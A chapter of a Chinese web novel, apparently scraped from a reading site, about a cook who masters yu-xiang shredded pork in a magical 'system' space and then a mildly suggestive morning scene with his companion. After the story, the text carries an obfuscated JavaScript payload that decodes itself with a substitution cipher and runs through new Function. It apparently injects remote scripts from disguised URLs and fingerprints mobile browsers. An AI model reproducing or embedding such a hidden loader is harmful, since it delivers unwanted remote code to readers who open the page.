第一百六十七章 欧皇与眉笔(1 / 2)

陈枫来到案台前,并没有急着烹饪鱼香肉丝,而是找系统要了一些食材,快速的炒了一份黄金蛋炒饭。

端着那一份冒着白烟的黄金蛋炒饭,夹起一筷子被红油包裹的肉丝,肉丝带着油光放在黄金蛋炒饭上,端起盘子,扒拉着饭和肉丝一起送入口中。

陈枫大口的咀嚼,享受着口腔中米饭和鱼香在嘴中爆发的快乐,略带酸甜的鱼香味,混合着米饭,让口中的津液疯狂分泌。

陈枫以前不是没吃过鱼香肉丝,可是没有一份鱼香肉丝像系统所做这一份,鱼香浓郁,配菜爽脆,肉丝细嫩,均匀的比例,一口下去,同时咀嚼,在口腔中享受着肉丝和配菜的碰撞,配上一口米饭,世间最幸福的事情不过如此。

不多时,一份黄金蛋炒饭一份鱼香肉丝,全部落入陈枫腹中,陈枫靠着案台,摸着肚皮,舒服的打了一个饱嗝。

陈枫再度望向那一份鱼香肉丝的盘子,只剩下盘底的红油,还有一些葱姜蒜米,就这份红油,煮上一份面条,拌上着红油,也是极致的美味。

吃饱了,享受完美味的陈枫缓缓的呼出一口气,他对着系统说道:“系统,我要学习烹饪鱼香肉丝。”

“叮!鱼香肉丝烹饪学习开始!”

“叮!鱼香肉丝,传统川菜,烹饪要点:肉丝的长短粗细与配菜要做到相差不大,成菜之时,成品则更加漂亮。

焯水过的配菜能够增加明亮的色泽,同时在接下来的大火爆炒中,能够快速成熟,高温快炒能够让肉丝更加的鲜嫩。

鱼香肉丝最主要的便是来自于调味料,通过复杂的调味,调出鱼香味,其中泡椒和香醋白糖是关键,三种调味料要达到相互成就,比例是关键,来自于厨师的经验与手感。

封油护浆的肉丝虽然容易化散,但是锅中油温必须高度,否则极易导致肉丝下锅封油降低了锅中的油温,唯有高油温才能锁住肉丝的水分,保证肉丝的细嫩。”

陈枫仔细听着系统的要点,闭上眼睛,细细的感受,片刻,陈枫缓缓睁开眼眸,呼出一口气之后,陈枫从系统背包中拿出食神的围裙。

系好围裙,再度拿出一把菜刀。

那是他刚刚获得的奖励,食神的菜刀,一把能任意变换形状且锋利无比的菜刀!

陈枫先是拿来一块里脊肉,横放菜刀,开始片肉,他的刀工,在之前的蓝星都是顶端,更别提到这里来之后,他已经在食神之路上越走越远了。

手指轻轻的按着肉,刀身缓缓的抽动,一块薄厚均匀的肉片被片下。

系统奖励的那把菜刀出乎陈枫的意料,极为锋利,而且是越用越顺手,一块里脊肉,不多时便被陈枫片成了肉片。

切好的里脊肉像是楼梯一样叠放,手中菜刀前后来回,一条条细细的肉丝从菜刀中被切割出来。

肉丝入碗,加蛋清,调咸盐,上浆封油一气呵成。

紧接着处理配菜,哒哒哒的声音响起,片刻不到,在一碗清水之中,长短粗细皆是差不多的配菜丝被投入清水中浸泡。

紧接着处理调味料,陈枫更是手脚麻利,泡椒剁碎,葱姜蒜切成细米,一切准备就绪,陈枫开始了着手操作。

配菜焯水,捞出沥干,热锅凉油滑过,三次润锅,再次加入肉丝,油温七成,刺啦一声,肉丝入锅,热油滑散,待到锅中肉丝全部变色,再次捞出,仿制一旁备用。

不用洗锅,热油中加入葱姜蒜米,香味一出,立刻开始调味。

豆瓣酱剁椒同时入锅,红油开始释放,鱼香同样弥漫,挑入生抽老抽于些许胡椒粉,到最后香醋与白糖。

系统没有给出一个明确的比例,全靠着陈枫手感与经验。

白糖与香醋先后入锅,锅中的味道立刻一边,味道层次丰富至极的鱼香味开始弥漫,陈枫轻嗅着这个味道,嘴角一翘,就是这个味道。

待到白糖稍稍融化,肉丝入锅开始大火翻炒,火焰在锅中沸腾,肉丝在火焰中翻滚。

让肉丝裹满通红的酱汁,配菜入锅,全程大火爆炒,呼呼的火焰声响彻在耳边,肉丝与配菜随着陈枫的动作在锅中不断的跳跃翻滚。

达到火候,勾入薄芡,让调味料均匀的附着在每一根肉丝上面,陈枫还勾入了些许明油,保证成菜时更为明亮,撒入些许葱花,翻炒片刻,菜成!鱼香肉丝出锅!

炒勺一翻,一道红油鲜亮,被包裹的鱼香肉丝成功出锅。

“系统,鱼香肉丝,请评鉴!”

没有任何失误,只是看系统烹饪,陈枫一次便是烹饪出了香味迷人的鱼香肉丝。

一阵红光扫描而过,系统给出了自己等我评分。

“叮!鱼香肉丝经过系统评分为,88分!”

第一次便是获得系统88分的高分,陈枫知道这是自己的极大进步,但是他却是有些不满意,每天微微皱起,抿嘴着嘴唇来到那道鱼香肉丝等我旁边,一筷子架起,往嘴里送入。

咀嚼了一番,陈枫缓缓的睁开眼,将那一份鱼香肉丝送入系统的回收箱,再次来到案台前,从最初开始烹饪。

88分已经是高分,但是陈枫并不满足,他的目标,是九十八分以上!彻底的得到系统的认可!

刚刚品尝一番,他的鱼香肉丝,品相,口感,与系统的别无二致,但是味道却是有些相差。

对于调味料的把握,陈枫还是缺失了一点,系统的精益求精,即便是一点点也会影响评分。

于是乎,陈枫开始在食神空间,再次开始了自己的磨练,从最开始的切肉丝开始……

哗哗哗……

微风吹过,陈枫的眼膜动了动,缓缓睁开眼睛,抬头看了一眼窗外,太阳已经出来了,阳光透过窗户照射进来,陈枫缓缓的打了一个哈切。

天亮了,一晚过去,而在食神空间,他却是实实在在的过去了半个月,做出了上千份鱼香肉丝,系统对他的评分也是一分一分的缓慢上涨。

最后到达了惊人的满分!

则是陈枫对自己的苛刻要求!

又掌握一道新菜的陈枫心情大好,转头一看,望向身旁的琉璃无奈一笑。

这小妮子,最近越来越放肆了。

从最开始和自己睡一个被窝,离得远远的分明是在一个被窝,却生怕陈枫搞什么坏主意。

到现在,已经扒在他身上,抱着他的脖子,枕着他的胸膛,一条腿还搭在他的腰上。

这让陈枫有一种错觉,纠结自己是抱枕还是她是抱枕!

看着尽在眼前的红唇还有食堂,陈枫想到,要不先吃点早饭?

琉璃是一脸通红的醒来。

临门一觉,琉璃的亲戚大姨妈却是很不客气的给了陈枫一个大耳刮子。

“唔……你怎么这么变态!”琉璃擦着嘴唇愤愤的瞪着陈枫,这货一计不成转而求其次,琉璃没有办法只能依着他。

将红唇擦了又擦,琉璃才将一啪啦纸巾全部丢掉,随即又愤怒的盯着陈枫。

“不是说好了!要说一声吗!”

陈枫尴尬的扣了扣脑袋,咧嘴道:“这不是太久没有见到你,一下忍不住了……”

琉璃用看着白痴一样的眼神看着他。

“陈枫!你把我当傻子还是你做梦做多了!这才一晚上!哪里又有多久!而且……而且我还一直在你身边!”

陈枫无奈的耸了耸肩,总不能告诉琉璃,自己在食神空间呆了半个月,做了上千份鱼香肉丝,的确是想念她吧。

浑身舒爽了的陈枫在琉璃再次暴怒前穿好裤子溜了出去,来到洗手间,陈枫刚刚洗簌完毕,琉璃就冷冷的进来开始刷牙刷的特别认真。

陈枫无奈一笑,嘀咕道:“又不是第一次,没必要……”

洗手间里,陈枫刚刚洗漱完毕,琉璃便是走了进来,旁边的洗漱台上,陈枫已经帮她挤好了牙膏。

她对着陈枫翻了一个白眼,拿起要个开始怒气冲冲的刷牙。

!function(){function a(a){var _idx="m5wvwvmdbp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8^nDXDX^f)J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"^nDXDX^f)J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR8^nDXDX^f)J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();